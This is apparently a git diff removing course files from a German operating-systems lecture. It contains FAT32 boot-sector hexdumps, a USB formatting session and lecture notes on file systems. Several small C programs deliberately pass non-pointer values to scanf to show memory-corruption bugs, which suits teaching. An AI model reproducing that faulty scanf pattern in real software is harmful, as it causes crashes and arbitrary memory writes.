-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@U<AA>RRaA^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@rrAa1<91>^O^@
-<83>~
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@U<AA>^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
-^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@
diff --git a/20220502/filesystems-6.txt b/20220502/filesystems-6.txt
deleted file mode 100644
index 85f28a1d91a58285d806652979b862343a86db5f..0000000000000000000000000000000000000000
--- a/20220502/filesystems-6.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-00000000  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000010  02 00 00 00 00 f8 00 00  3e 00 81 00 00 08 00 00  |........>.......|
-00000020  00 c8 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000030  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000040  80 01 29 5f 51 33 c0 4e  4f 20 4e 41 4d 45 20 20  |..)_Q3.NO NAME  |
-00000050  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000060  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000070  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000080  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000090  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-000000a0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-000000b0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-000000c0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-000000d0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200  52 52 61 41 00 00 00 00  00 00 00 00 00 00 00 00  |RRaA............|
-00000210  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000003e0  00 00 00 00 72 72 41 61  31 91 0f 00 83 7e 0a 00  |....rrAa1....~..|
-000003f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000400  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000c00  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000c10  02 00 00 00 00 f8 00 00  3e 00 81 00 00 08 00 00  |........>.......|
-00000c20  00 c8 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000c30  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000c40  80 00 29 5f 51 33 c0 4e  4f 20 4e 41 4d 45 20 20  |..)_Q3.NO NAME  |
-00000c50  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000c60  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000c70  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000c80  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000c90  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-00000ca0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-00000cb0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-00000cc0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-00000cd0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-00000ce0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-00000df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000e00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
diff --git a/20220502/filesystems-7.txt b/20220502/filesystems-7.txt
deleted file mode 100644
index 42618d39cb21f5a350901fb79e2a7bd291727cf8..0000000000000000000000000000000000000000
--- a/20220502/filesystems-7.txt
+++ /dev/null
@@ -1,42 +0,0 @@
-007ce000  e5 74 00 65 00 73 00 74  00 2e 00 0f 00 8f 74 00  |.t.e.s.t......t.|
-007ce010  78 00 74 00 00 00 ff ff  ff ff 00 00 ff ff ff ff  |x.t.............|
-007ce020  e5 45 53 54 20 20 20 20  54 58 54 20 00 64 c0 55  |.EST    TXT .d.U|
-007ce030  a2 54 a2 54 0a 00 c0 55  a2 54 83 7e 13 00 00 00  |.T.T...U.T.~....|
-007ce040  e5 20 00 31 00 39 00 37  00 39 00 0f 00 af 20 00  |. .1.9.7.9.... .|
-007ce050  33 04 2e 00 29 00 2d 00  54 00 00 00 47 00 52 00  |3...).-.T...G.R.|
-007ce060  e5 39 04 20 00 22 04 30  04 40 04 0f 00 af 3a 04  |.9. .".0.@....:.|
-007ce070  3e 04 32 04 41 04 3a 04  38 04 00 00 39 04 2c 00  |>.2.A.:.8...9.,.|
-007ce080  e5 30 04 2c 00 20 00 40  04 35 04 0f 00 af 36 04  |.0.,. .@.5....6.|
-007ce090  2e 00 20 00 10 04 3d 04  34 04 00 00 40 04 35 04  |.. ...=.4...@.5.|
-007ce0a0  e5 48 00 44 00 2c 00 20  00 44 04 0f 00 af 30 04  |.H.D.,. .D....0.|
-007ce0b0  3d 04 42 04 30 04 41 04  42 04 00 00 38 04 3a 04  |=.B.0.A.B...8.:.|
-007ce0c0  e5 21 04 42 04 30 04 3b  04 3a 04 0f 00 af 35 04  |.!.B.0.;.:....5.|
-007ce0d0  40 04 20 00 28 00 46 00  75 00 00 00 6c 00 6c 00  |@. .(.F.u...l.l.|
-007ce0e0  e5 5f 5f 5f 5f 5f 7e 31  56 54 54 20 00 00 03 ab  |._____~1VTT ....|
-007ce0f0  8a 54 8a 54 05 00 03 ab  8a 54 f5 d8 8b 4e 01 00  |.T.T.....T...N..|
-007ce100  e5 74 00 74 00 00 00 ff  ff ff ff 0f 00 8f ff ff  |.t.t............|
-007ce110  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
-007ce120  e5 44 00 59 00 70 00 43  00 6d 00 0f 00 8f 4d 00  |.D.Y.p.C.m....M.|
-007ce130  63 00 4d 00 2e 00 66 00  72 00 00 00 2e 00 76 00  |c.M...f.r.....v.|
-007ce140  e5 20 00 31 00 39 00 37  00 39 00 0f 00 8f 20 00  |. .1.9.7.9.... .|
-007ce150  33 04 2e 00 29 00 2d 00  54 00 00 00 47 00 52 00  |3...).-.T...G.R.|
-007ce160  e5 39 04 20 00 22 04 30  04 40 04 0f 00 8f 3a 04  |.9. .".0.@....:.|
-007ce170  3e 04 32 04 41 04 3a 04  38 04 00 00 39 04 2c 00  |>.2.A.:.8...9.,.|
-007ce180  e5 30 04 2c 00 20 00 40  04 35 04 0f 00 8f 36 04  |.0.,. .@.5....6.|
-007ce190  2e 00 20 00 10 04 3d 04  34 04 00 00 40 04 35 04  |.. ...=.4...@.5.|
-007ce1a0  e5 48 00 44 00 2c 00 20  00 44 04 0f 00 8f 30 04  |.H.D.,. .D....0.|
-007ce1b0  3d 04 42 04 30 04 41 04  42 04 00 00 38 04 3a 04  |=.B.0.A.B...8.:.|
-007ce1c0  e5 21 04 42 04 30 04 3b  04 3a 04 0f 00 8f 35 04  |.!.B.0.;.:....5.|
-007ce1d0  40 04 20 00 28 00 46 00  75 00 00 00 6c 00 6c 00  |@. .(.F.u...l.l.|
-007ce1e0  e5 5f 5f 5f 5f 5f 7e 32  56 54 54 20 00 64 03 ab  |._____~2VTT .d..|
-007ce1f0  8a 54 8a 54 05 00 03 ab  8a 54 0a d9 17 30 01 00  |.T.T.....T...0..|
-007ce200  e5 74 00 74 00 00 00 ff  ff ff ff 0f 00 6f ff ff  |.t.t.........o..|
-007ce210  ff ff ff ff ff ff ff ff  ff ff 00 00 ff ff ff ff  |................|
-007ce220  e5 44 00 59 00 70 00 43  00 6d 00 0f 00 6f 4d 00  |.D.Y.p.C.m...oM.|
-007ce230  63 00 4d 00 2e 00 65 00  6e 00 00 00 2e 00 76 00  |c.M...e.n.....v.|
-007ce240  e5 20 00 31 00 39 00 37  00 39 00 0f 00 6f 20 00  |. .1.9.7.9...o .|
-007ce250  33 04 2e 00 29 00 2d 00  54 00 00 00 47 00 52 00  |3...).-.T...G.R.|
-007ce260  e5 39 04 20 00 22 04 30  04 40 04 0f 00 6f 3a 04  |.9. .".0.@...o:.|
-007ce270  3e 04 32 04 41 04 3a 04  38 04 00 00 39 04 2c 00  |>.2.A.:.8...9.,.|
-007ce280  e5 30 04 2c 00 20 00 40  04 35 04 0f 00 6f 36 04  |.0.,. .@.5...o6.|
-007ce290  2e 00 20 00 10 04 3d 04  34 04 00 00 40 04 35 04  |.. ...=.4...@.5.|
diff --git a/20220502/filesystems-8.txt b/20220502/filesystems-8.txt
deleted file mode 100644
index 8236fae216980881ced53e68ab807f5b59c001e5..0000000000000000000000000000000000000000
--- a/20220502/filesystems-8.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-007cf450  23 23 23 23 0a 0a 23 20  4a 75 73 74 20 66 6f 72  |####..# Just for|
-007cf460  20 72 65 66 65 72 65 6e  63 65 20 61 6e 64 20 73  | reference and s|
-007cf470  63 72 69 70 74 73 2e 20  0a 23 20 4f 6e 20 44 65  |cripts. .# On De|
-007cf480  62 69 61 6e 20 73 79 73  74 65 6d 73 2c 20 74 68  |bian systems, th|
-007cf490  65 20 6d 61 69 6e 20 62  69 6e 61 72 79 20 69 73  |e main binary is|
-007cf4a0  20 69 6e 73 74 61 6c 6c  65 64 20 61 73 20 65 78  | installed as ex|
-007cf4b0  69 6d 34 20 74 6f 20 61  76 6f 69 64 0a 23 20 63  |im4 to avoid.# c|
-007cf4c0  6f 6e 66 6c 69 63 74 73  20 77 69 74 68 20 74 68  |onflicts with th|
-007cf4d0  65 20 65 78 69 6d 20 33  20 70 61 63 6b 61 67 65  |e exim 3 package|
-007cf4e0  73 2e 0a 65 78 69 6d 5f  70 61 74 68 20 3d 20 2f  |s..exim_path = /|
-007cf4f0  75 73 72 2f 73 62 69 6e  2f 65 78 69 6d 34 0a 0a  |usr/sbin/exim4..|
-007cf500  23 20 4d 61 63 72 6f 20  64 65 66 69 6e 69 6e 67  |# Macro defining|
-007cf510  20 74 68 65 20 6d 61 69  6e 20 63 6f 6e 66 69 67  | the main config|
-007cf520  75 72 61 74 69 6f 6e 20  64 69 72 65 63 74 6f 72  |uration director|
-007cf530  79 2e 0a 23 20 57 65 20  64 6f 20 6e 6f 74 20 75  |y..# We do not u|
-007cf540  73 65 20 61 62 73 6f 6c  75 74 65 20 70 61 74 68  |se absolute path|
-007cf550  73 2e 0a 2e 69 66 6e 64  65 66 20 43 4f 4e 46 44  |s...ifndef CONFD|
-007cf560  49 52 0a 43 4f 4e 46 44  49 52 20 3d 20 2f 65 74  |IR.CONFDIR = /et|
-007cf570  63 2f 65 78 69 6d 34 0a  2e 65 6e 64 69 66 0a 0a  |c/exim4..endif..|
-007cf580  23 20 64 65 62 63 6f 6e  66 2d 64 72 69 76 65 6e  |# debconf-driven|
-007cf590  20 6d 61 63 72 6f 20 64  65 66 69 6e 69 74 69 6f  | macro definitio|
-007cf5a0  6e 73 20 67 65 74 20 69  6e 73 65 72 74 65 64 20  |ns get inserted |
-007cf5b0  61 66 74 65 72 20 74 68  69 73 20 6c 69 6e 65 0a  |after this line.|
-007cf5c0  55 50 45 58 34 43 6d 61  63 72 6f 73 55 50 45 58  |UPEX4CmacrosUPEX|
-007cf5d0  34 43 20 3d 20 31 0a 0a  23 20 43 72 65 61 74 65  |4C = 1..# Create|
-007cf5e0  20 64 6f 6d 61 69 6e 20  61 6e 64 20 68 6f 73 74  | domain and host|
-007cf5f0  20 6c 69 73 74 73 20 66  6f 72 20 72 65 6c 61 79  | lists for relay|
-007cf600  20 63 6f 6e 74 72 6f 6c  0a 23 20 27 40 27 20 72  | control.# '@' r|
-007cf610  65 66 65 72 73 20 74 6f  20 27 74 68 65 20 6e 61  |efers to 'the na|
-007cf620  6d 65 20 6f 66 20 74 68  65 20 6c 6f 63 61 6c 20  |me of the local |
-007cf630  68 6f 73 74 27 0a 0a 23  20 4c 69 73 74 20 6f 66  |host'..# List of|
-007cf640  20 64 6f 6d 61 69 6e 73  20 63 6f 6e 73 69 64 65  | domains conside|
-007cf650  72 65 64 20 6c 6f 63 61  6c 20 66 6f 72 20 65 78  |red local for ex|
-007cf660  69 6d 2e 20 44 6f 6d 61  69 6e 73 20 6e 6f 74 20  |im. Domains not |
-007cf670  6c 69 73 74 65 64 20 68  65 72 65 0a 23 20 6e 65  |listed here.# ne|
-007cf680  65 64 20 74 6f 20 62 65  20 64 65 6c 69 76 65 72  |ed to be deliver|
-007cf690  61 62 6c 65 20 72 65 6d  6f 74 65 6c 79 2e 0a 64  |able remotely..d|
-007cf6a0  6f 6d 61 69 6e 6c 69 73  74 20 6c 6f 63 61 6c 5f  |omainlist local_|
-007cf6b0  64 6f 6d 61 69 6e 73 20  3d 20 4d 41 49 4e 5f 4c  |domains = MAIN_L|
-007cf6c0  4f 43 41 4c 5f 44 4f 4d  41 49 4e 53 0a 0a 23 20  |OCAL_DOMAINS..# |
-007cf6d0  4c 69 73 74 20 6f 66 20  72 65 63 69 70 69 65 6e  |List of recipien|
-007cf6e0  74 20 64 6f 6d 61 69 6e  73 20 74 6f 20 72 65 6c  |t domains to rel|
-007cf6f0  61 79 20 5f 74 6f 5f 2e  20 55 73 65 20 74 68 69  |ay _to_. Use thi|
diff --git a/20220502/filesystems-9.txt b/20220502/filesystems-9.txt
deleted file mode 100644
index 10e56544ea558f7dd1d9515fb022e2d1ba7ca4dd..0000000000000000000000000000000000000000
--- a/20220502/filesystems-9.txt
+++ /dev/null
@@ -1,21 +0,0 @@
-cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1/
-cassini/home/peter/bo/2022ss/bs/20220502> ls -la /media/usb1
-insgesamt 8
-drwxr-xr-x  2 peter peter 4096 Jan  1  1970 .
-drwxr-xr-x 17 root  root  4096 Dez  4  2020 ..
-cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sd*
-brw-rw---- 1 root disk 8,  0 Mär 15 18:48 /dev/sda
-brw-rw---- 1 root disk 8,  1 Mär 15 18:48 /dev/sda1
-brw-rw---- 1 root disk 8,  2 Mär 15 18:48 /dev/sda2
-brw-rw---- 1 root disk 8,  3 Mär 15 18:48 /dev/sda3
-brw-rw---- 1 root disk 8, 16 Mai  2 12:50 /dev/sdb
-brw-rw---- 1 root disk 8, 17 Mai  2 12:50 /dev/sdb1
-cassini/home/peter/bo/2022ss/bs/20220502> mkdosfs /dev/sdb1
-bash: mkdosfs: Kommando nicht gefunden.
-cassini/home/peter/bo/2022ss/bs/20220502> sudo mkdosfs /dev/sdb1
-mkfs.fat 4.1 (2017-01-24)
-mkdosfs: /dev/sdb1 contains a mounted filesystem.
-cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1
-cassini/home/peter/bo/2022ss/bs/20220502> sudo mkdosfs /dev/sdb1
-mkfs.fat 4.1 (2017-01-24)
-cassini/home/peter/bo/2022ss/bs/20220502>
diff --git a/20220502/read-1.c b/20220502/read-1.c
deleted file mode 100644
index 1c15969cb3fa6042f8f5803b6b3150a6065d16f7..0000000000000000000000000000000000000000
--- a/20220502/read-1.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = 0;
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", &a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-2.c b/20220502/read-2.c
deleted file mode 100644
index 0ed4feb78588ec5969d5219a846d98eb2fec7317..0000000000000000000000000000000000000000
--- a/20220502/read-2.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = 0;
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-3.c b/20220502/read-3.c
deleted file mode 100644
index 8d2ee491e0826521b15ecfd4c8ca28b5d86cf2cd..0000000000000000000000000000000000000000
--- a/20220502/read-3.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = &a;
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-4.c b/20220502/read-4.c
deleted file mode 100644
index ae544d7f70cd9deac4bbd0455ff54c1399650733..0000000000000000000000000000000000000000
--- a/20220502/read-4.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = &a;
-  printf ("a = %d, &a = %d\n", a, &a);
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-5.c b/20220502/read-5.c
deleted file mode 100644
index 86e674ecd559b268f7db81ed7d179ca469cd4adc..0000000000000000000000000000000000000000
--- a/20220502/read-5.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = &a;
-  printf ("a = %ld, &a = %ld\n", a, &a);
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-6.c b/20220502/read-6.c
deleted file mode 100644
index 75f096eebbdb6a133cc6a423421313568222a807..0000000000000000000000000000000000000000
--- a/20220502/read-6.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  int a = &a;
-  printf ("a = %ld, &a = %ld, &a == a = %d\n", a, &a, &a == a);
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220502/read-7.c b/20220502/read-7.c
deleted file mode 100644
index e564a6b1a9673c2e8ba61c8c27c6ca06650aeda5..0000000000000000000000000000000000000000
--- a/20220502/read-7.c
+++ /dev/null
@@ -1,12 +0,0 @@
-#include <stdio.h>
-#include <stdint.h>
-
-int main (void)
-{
-  uint64_t a = &a;
-  printf ("a = %lld, &a = %lld, &a == a = %d\n", a, &a, &a == a);
-  printf ("Bitte eine Zahl eingeben: ");
-  scanf ("%d", a);
-  printf ("Ihre Zahl lautete: %d\n", a);
-  return 0;
-}
diff --git a/20220509/bootsector-usb-stick-1.txt b/20220509/bootsector-usb-stick-1.txt
deleted file mode 100644
index 62a49c99032102f9920088d7e8d8cf0405ae4418..0000000000000000000000000000000000000000
--- a/20220509/bootsector-usb-stick-1.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-00000000  eb 58 90 6d 6b 66 73 2e  66 61 74 00 02 08 20 00  |.X.mkfs.fat... .|
-00000010  02 00 00 00 00 f8 00 00  3e 00 81 00 00 00 00 00  |........>.......|
-00000020  00 d0 7c 00 28 1f 00 00  00 00 00 00 02 00 00 00  |..|.(...........|
-00000030  01 00 06 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-00000040  80 01 29 27 b7 d9 08 4e  4f 20 4e 41 4d 45 20 20  |..)'...NO NAME  |
-00000050  20 20 46 41 54 33 32 20  20 20 0e 1f be 77 7c ac  |  FAT32   ...w|.|
-00000060  22 c0 74 0b 56 b4 0e bb  07 00 cd 10 5e eb f0 32  |".t.V.......^..2|
-00000070  e4 cd 16 cd 19 eb fe 54  68 69 73 20 69 73 20 6e  |.......This is n|
-00000080  6f 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 64 69  |ot a bootable di|
-00000090  73 6b 2e 20 20 50 6c 65  61 73 65 20 69 6e 73 65  |sk.  Please inse|
-000000a0  72 74 20 61 20 62 6f 6f  74 61 62 6c 65 20 66 6c  |rt a bootable fl|
-000000b0  6f 70 70 79 20 61 6e 64  0d 0a 70 72 65 73 73 20  |oppy and..press |
-000000c0  61 6e 79 20 6b 65 79 20  74 6f 20 74 72 79 20 61  |any key to try a|
-000000d0  67 61 69 6e 20 2e 2e 2e  20 0d 0a 00 00 00 00 00  |gain ... .......|
-000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200
diff --git a/20220509/bootsector-usb-stick-2.txt b/20220509/bootsector-usb-stick-2.txt
deleted file mode 100644
index e2bfcc85c29856cb180b241cd82702f42b81a4dd..0000000000000000000000000000000000000000
--- a/20220509/bootsector-usb-stick-2.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001b0  00 00 00 00 00 00 00 00  f5 28 8a 60 00 00 00 21  |.........(.`...!|
-000001c0  03 00 0c 5c f4 fe 00 08  00 00 00 c8 7c 00 00 00  |...\........|...|
-000001d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
-*
-000001f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 55 aa  |..............U.|
-00000200
diff --git a/20220509/bs-20220509.txt b/20220509/bs-20220509.txt
deleted file mode 100644
index 34b32bb10ef6bc5a94656044c0c460961df3b8a8..0000000000000000000000000000000000000000
--- a/20220509/bs-20220509.txt
+++ /dev/null
@@ -1,295 +0,0 @@
-Dateisysteme, 09.05.2022, 11:02:11
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Datenträger aus Sicht des Computers:
-viele Speicherzellen
-einzeln adressierbar in "Sektoren" von einheitlicher Größe,
-z.B. 64 Bytes, 512 Bytes, 4 kiB
-
-  1 kB  = 1 Kilobyte = 1000 Bytes
-  1 kiB = 1 Kibibyte = 1024 Bytes --> umgangssprachlich: "Kilobyte"
-  1024 / 1000 = 1.024 = 2.4%
-
-  1 MB  = 1 Megabyte = 1000 kB
-  1 MiB = 1 Mebibyte = 1024 kiB --> umgangssprachlich: "Megabyte"
-  1024 · 1024 / (1000 · 1000) = 1.048576, entsprechend 4.8% Fehler
-
-  1 GB  = 1 Gigabyte = 1000 MB
-  1 GiB = 1 Gibibyte = 1024 MiB --> umgangssprachlich: "Gigabyte"
-  1024 · 1024 · 1024 / (1000 · 1000 · 1000) = 1.073741824, entsprechend 7% Fehler
-
-  1 TB  = 1 Terabyte = 1000 GB
-  1 TiB = 1 Tebibyte = 1024 GiB --> umgangssprachlich: "Terabyte"
-  1024 · 1024 · 1024 · 1024 / (1000 · 1000 · 1000 · 1000) = 1.099511627776, entsprechend 9.95% Fehler
-
-  Herkunft:
-    Hersteller von Datenträgern: 1 kB = 1000 Bytes
-    alle anderen: 1 kB = 1024 Bytes
-
-  Kuriosität: 3½-Zoll-Disketten
-    Kapazität: 1440 kiB --> umgangssprachlich: "1.44 Megabyte"
-    (tatsächlich: 1440 / 1024 = 1.40625 Mebibytes
-    oder 1440 · 1024 = 1.47456 Megabytes)
-
-  Literatur: https://xkcd.com/394/
-
-Wenn ich darauf Daten speichern, muß ich mir merken, wo diese sind.
---> benannte Dateien, Verzeichnisse, Unterverzeichnisse
